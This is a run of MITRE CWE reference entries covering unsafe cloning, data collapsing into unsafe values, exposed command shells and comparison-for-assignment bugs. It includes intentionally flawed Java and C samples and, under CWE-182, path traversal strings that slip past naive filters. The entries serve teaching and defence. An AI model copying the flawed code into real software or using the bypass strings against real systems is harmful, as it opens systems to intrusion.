Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Quality Degradation

+ Demonstrative Examples

Example 1

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

(bad code)
Example Language: Java 
public class Kibitzer {
public Object clone() throws CloneNotSupportedException {

Object returnMe = new Kibitzer();
...
}
}

public class FancyKibitzer extends Kibitzer{
public Object clone() throws CloneNotSupportedException {

Object returnMe = super.clone();
...
}
}
+ Potential Mitigations

Phase: Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP28Unexpected access points
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Erroneous Clone Method

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID: 498
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.
+ Extended Description
Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
public class CloneClient {
public CloneClient() //throws
java.lang.CloneNotSupportedException {

Teacher t1 = new Teacher("guddu","22,nagar road");
//...
// Do some stuff to remove the teacher.
Teacher t2 = (Teacher)t1.clone();
System.out.println(t2.name);
}
public static void main(String args[]) {

new CloneClient();
}
}
class Teacher implements Cloneable {

public Object clone() {

try {
return super.clone();
}
catch (java.lang.CloneNotSupportedException e) {

throw new RuntimeException(e.toString());
}
}
public String name;
public String clas;
public Teacher(String name,String clas) {

this.name = name;
this.clas = clas;
}
}

Make classes uncloneable by defining a clone function like:

(good code)
Example Language: Java 
public final void clone() throws java.lang.CloneNotSupportedException {
throw new java.lang.CloneNotSupportedException();
}
+ Potential Mitigations

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInformation leak through class cloning
The CERT Oracle Secure Coding Standard for Java (2011)OBJ07-JSensitive classes must not let themselves be copied
Software Fault PatternsSFP23Exposed Data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Other_Notes
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak through Class Cloning

CWE-182: Collapse of Data into Unsafe Value

Weakness ID: 182
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.185Incorrect Regular Expression
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.33Path Traversal: '....' (Multiple Dot)
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.34Path Traversal: '....//'
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.35Path Traversal: '.../...//'
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
"/.////" in pathname collapses to absolute path.
"/.//..//////././" is collapsed into "/.././" after ".." and "//" sequences are removed.
".../...//" collapsed to "..." due to removal of "./" in web server.
chain: HTTP server protects against ".." but allows "." variants such as "////./../.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////../" (CWE-182).
MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".
XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps regular expressions, although an implementation might not necessarily use regexp's.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCollapse of Data into Unsafe Value
The CERT Oracle Secure Coding Standard for Java (2011)IDS11-JEliminate noncharacter code points before validation
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Observed_Examples
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relevant_Properties
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-553: Command Shell in Externally Accessible Directory

Weakness ID: 553
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Potential Mitigations

Phases: Installation; System Configuration

Remove any Shells accessible under the web root folder and children directories.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Possible Command Shell (csh)

CWE-482: Comparing instead of Assigning

Weakness ID: 482
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code uses an operator for comparison when the intention was to perform an assignment.
+ Extended Description
In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.480Use of Incorrect Operator
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis bug primarily originates from a typo.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity

Technical Impact: Unexpected State

The assignment will not take place, which should cause obvious program execution problems.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
void called(int foo) {
foo==1;
if (foo==1) System.out.println("foo\n");
}
int main() {

called(2);
return 0;
}

Example 2

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

(bad code)
Example Language:
#define SIZE 50
int *tos, *p1, stack[SIZE];

void push(int i) {
p1++;
if(p1==(tos+SIZE)) {

// Print stack overflow error message and exit
}
*p1 == i;
}

int pop(void) {
if(p1==tos) {

// Print stack underflow error message and exit
}
p1--;
return *(p1+1);
}

int main(int argc, char *argv[]) {

// initialize tos and p1 to point to the top of stack
tos = stack;
p1 = stack;
// code to add and remove items from stack
...
return 0;
}

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

+ Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.886SFP Primary Cluster: Unused entities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPComparing instead of assigning
Software Fault PatternsSFP2Unused Entities
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Modes_of_Introduction
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
